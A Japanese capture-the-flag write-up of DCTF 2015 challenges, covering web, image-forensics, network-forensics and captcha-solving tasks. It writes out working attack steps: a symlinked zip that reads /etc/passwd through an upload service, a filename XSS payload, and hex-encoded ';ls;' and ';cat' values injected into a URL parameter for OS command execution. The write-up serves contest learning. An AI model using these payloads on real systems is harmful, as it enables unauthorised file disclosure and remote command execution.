DCTF 2015 Writeup

yozakuraというチームで参加した。

web200

zipファイルをアップロードすると、展開して個々のファイルをダウンロードできるwebサービス

html内に思わせぶりなphpコメントが入っていた。 どうやらdctfユーザーのシェル名を取得してるっぽい。

<? $shell = shell_exec("getent passwd dctf | cut -d: -f7"); ?>

zipファイルにシンボリックリンクをアップロードするとサーバー上の任意のファイルをダウンロードできた(ディレクトリトラバーサル)。 試しにシェル名(/etc/passwd)をとってみると、Flag発見。

ln -s /etc/passwd passwd
zip -r showpasswd.zip passwd
wget http://example.com/?id=hoge&file=./passwd
cat passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  libuuid:x:100:101::/var/lib/libuuid:
  sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
  syslog:x:102:105::/home/syslog:/bin/false
  ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
  mysql:x:103:106:MySQL Server,,,:/nonexistent:/bin/false
  dctf:x:65533:65533:DCTF,,,:/nonexistent:/DCTF{28fad39245bc57404263540e94f417d8}
cat passwd | grep dctf | cut -d: -f7
  /DCTF{28fad39245bc57404263540e94f417d8}

また、ファイル名をjavascriptのプログラムにすることで、jsを実行できた(XSS)。 が、Flagとは関係なかった。

mkdir "<script>alert("XSS");<"
cd "<script>alert("XSS");<"
touch "script>"
cd ..
zip xss.zip "<script>alert("XSS");</script>"

web400

画像が4枚表示されているwebページ それぞれの画像は

http://example.com/image?id=1&usr=1
http://example.com/image?id=2&usr=2
http://example.com/image?id=3&usr=3
http://example.com/image?id=4&usr=4

というふうに、idとuserをgetで渡して取得している。

idやusrに数値以外を送ると怒られるが、1〜4以外の数値を送ると、file not found的なシェルで実行したようなテキストが出てきた。 また、12.34や0x41を送ると、12.34やA(0x41のASCII対応文字)が表示され、任意のシェルを実行できた(OSコマンドインジェクション)。 試しに、lsをしてみるとテキストファイルが現れ、catするとFlagがあった。

wget http://example.com/image?id=0x3b6c733b&usr=1 # <= python ";ls;".encode("hex")
  6e8218531e0580b6754b3e3be5252873.txt
  images
  index.php
wget http://example.com/image?id=3b6361742036653832313835333165303538306236373534623365336265353235323837332e7478743b&usr=! # <= python ";cat 6e8218531e0580b6754b3e3be5252873.txt;".encode("hex")
DCTF{19b1f9f19688da85ec52a735c8da0dd3}

misc100

壊れたpng画像

チェックサムが壊れているっぽいが直しても、意味不明な画像。 ぱっとみ、横幅がずれてるっぽい。

PNG を自力で読んで表示しよう その1 http://hoshi-sano.hatenablog.com/entry/2013/08/18/112550

processingでpng画像をパースして表示するプログラムがあったので、 試しに、ヘッダの情報を無視して横幅とかを適当に変えてみたところFlagが現れた。

vi misc100.pde
  imageInfo.imageWidth = 891;//追記
  imageInfo.imageHeight = 550;//追記
  int rowHead = (i * (imageInfo.imageWidth * 3));//変更

f:id:miettal:20151006105111p:plain

processingはアニメーション表示が可能なので、少しずつ横幅を変えて表示、 みたいなことができるので良かった。

misc350

チームのみんなと一緒に解いた。

  1. dnsのリクエストが来るので応答
  2. メールが来るのでsmtpで応答

    sudo nc -l 25 HELO ...

  3. メールの添付ファイルにpcapがある

  4. pcapの中にsmbプロトコルの通信がある
  5. smpプロトコル通信の中にzipがある(wiresharkでエクスポート)
  6. zipの中に大量gifがある
  7. それぞれのgifexifのcamera model nameにbase64文字列の断片がある

    exiftool alien.gif

    Camera Model Name : gAAAAAAAAAEAD9QQAAAABzb2wvVVQFAAPdEA9WdXgLAAEE6AMAAAToAwAAUEsBAh4

  8. gifを時間別にソートし、base64文字列を結合しデコードするとzipがある

    ls -rt1 *gif | xargs exiftool | grep Ca | awk '{print $5;}' | base64 --decode > a.zip

  9. zipの中にflagというテキストがある

    cat flag

    DCTF{e4045481e906132b24c173c5ee52cd1e}

misc200

解けず

gunzip misc200.part0.jpg.gz
file misc200.part0.jpg
  misc200.part0.jpg: x86 boot sector, code offset 0x52, OEM-ID "NTFS    ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 120, dos < 4.0 BootSector (0x80)
ntfsundelete misc200.part0.jpg
  65 FN.. 100% 2015-10-04 63872 part0.zip
ntfsundelete misc200.part0.jpg -u -m part0.zip
unzip part0.zip
  Archive:  part0.zip
    inflating: 3pm.redrah-yrt
mv 3pm.redrah-yrt try-harded.mp3
exiftool try-harder.mp3
  Comment (xxx)                   : aHR0cDovL2RjdGYuZGVmLmNhbXAvX19kbmxkX18yMDE1X18vcGFydDEuaHRtbA
exiftool try-harder.mp3 | grep Comment | grep xxx | awk '{ print $4; }' | base64 --decode
  http://dctf.def.camp/__dnld__2015__/part1.html
wget http://dctf.def.camp/__dnld__2015__/part1.html

ここで、タブとスペースが入り混じった自然なhtmlテキストが得られ、 それを01に対応させることで文字列が出てくるのだが、自分のプログラムにミスがあって、 文字列にならなくて積んでた。

misc400

Captcha 1337問

失敗したらやり直し、リロードは可能 文字はアルファベット(大文字のみ)と数字

プログラムを作成。 opencvで簡単なテンプレートマッチングを行う。 リロードはできるので、もし文字を検出できなかったらリロードして再度テンプレートマッチングを行う。

misc200.py

analysis.py

f:id:miettal:20151006105728p:plain

グレースケール化

f:id:miettal:20151006105733p:plain

ヒストグラムの値をベースにしきい値ぎめ、二値化

f:id:miettal:20151006105737p:plain

1文字ずつ用意したテンプレート画像とマッチング

f:id:miettal:20151006105741p:plain

1337/1337 in a row!
Good job, the flag is: DCTF{6b91e112ee0332616a5fe6cc321e48f1}